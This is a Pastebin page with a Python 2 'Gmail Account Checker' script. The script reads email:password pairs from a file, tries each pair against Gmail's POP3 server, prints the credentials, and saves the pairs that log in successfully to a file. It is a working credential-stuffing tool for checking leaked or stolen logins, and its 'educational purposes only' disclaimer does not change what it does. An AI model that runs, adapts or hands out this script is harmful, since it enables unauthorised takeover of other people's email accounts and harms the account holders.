Guest User

Untitled

a guest
Oct 16th, 2018
2,903
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.11 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Gmail Account Checker
  4. # programmer : gunslinger_
  5. # This program is only for educational purposes only.
  6.  
  7. import sys, poplib
  8.  
  9. face = '''
  10.                                        _/  _/
  11.     _/_/_/  _/_/_/  _/_/      _/_/_/      _/
  12.  _/    _/  _/    _/    _/  _/    _/  _/  _/
  13. _/    _/  _/    _/    _/  _/    _/  _/  _/
  14.  _/_/_/  _/    _/    _/    _/_/_/  _/  _/
  15.     _/
  16. _/_/                        Account checker
  17.                 Gunslinger_'''
  18.  
  19. help = '''
  20. Usage: ./gmailchecker.py [gmaillist]
  21. Ex : ./gmailchecker.py gmaillist.txt
  22. \n* Account must be in the following format ~> username@gmail.com:password
  23. '''
  24.  
  25. if len(sys.argv) != 2:
  26.     print (face)
  27.     print (help)
  28.     exit(1)
  29.  
  30. #Change these if needed.
  31. LOG = 'valid_gmail.txt'
  32. HOST = 'pop.gmail.com'
  33. PORT = 995
  34. # Do not change anything below.
  35. maillist = sys.argv[1]
  36. valid = []
  37. strline = 0  
  38.  
  39. try:
  40.     handle = open(maillist)
  41. except:
  42.     print '\n[-] Could not open the accounts file. Check the file path and try again.'
  43.     print '\n[-] Quitting ...'
  44.     exit(1)
  45.  
  46. for line in handle:
  47.     strline += 1
  48.  
  49.     try:
  50.         email = line.split(':')[0]
  51.         password = line.split(':')[1].replace('\n', '')
  52.     except:
  53.         print '\n[-] Erroneous account format at line %d.' % strline
  54.         print '[!] Accounts must be in the following format : username@gmail.com:password'
  55.         print '\n[-] Quitting ...'
  56.         exit(1)
  57.  
  58.     try:
  59.         pop = poplib.POP3_SSL(HOST, PORT)
  60.         pop.user(email)
  61.         pop.pass_(password)
  62.         valid.append(email + ':' + password)
  63.         print '[+] Checking ~> username : [%s] password : [%s] status : Valid!' % (email, password)
  64.         pop.quit()
  65.     except:
  66.         print '[+] Checking ~> username : [%s] password : [%s] status : invalid!' % (email, password)
  67.         pass
  68.  
  69. handle.close()
  70. print '\n[+] Total Valid: %s' % len(valid)
  71.  
  72. if len(valid) > 0:
  73.     save = open(LOG, 'a')
  74.  
  75.     for email in valid:
  76.         save.write(email + '\n')
  77.  
  78.     save.close()
  79.     print '[+] The valid accounts are saved in "%s".' % LOG
  80.     print '[+] Done.\n'
Add Comment
Please, Sign In to add comment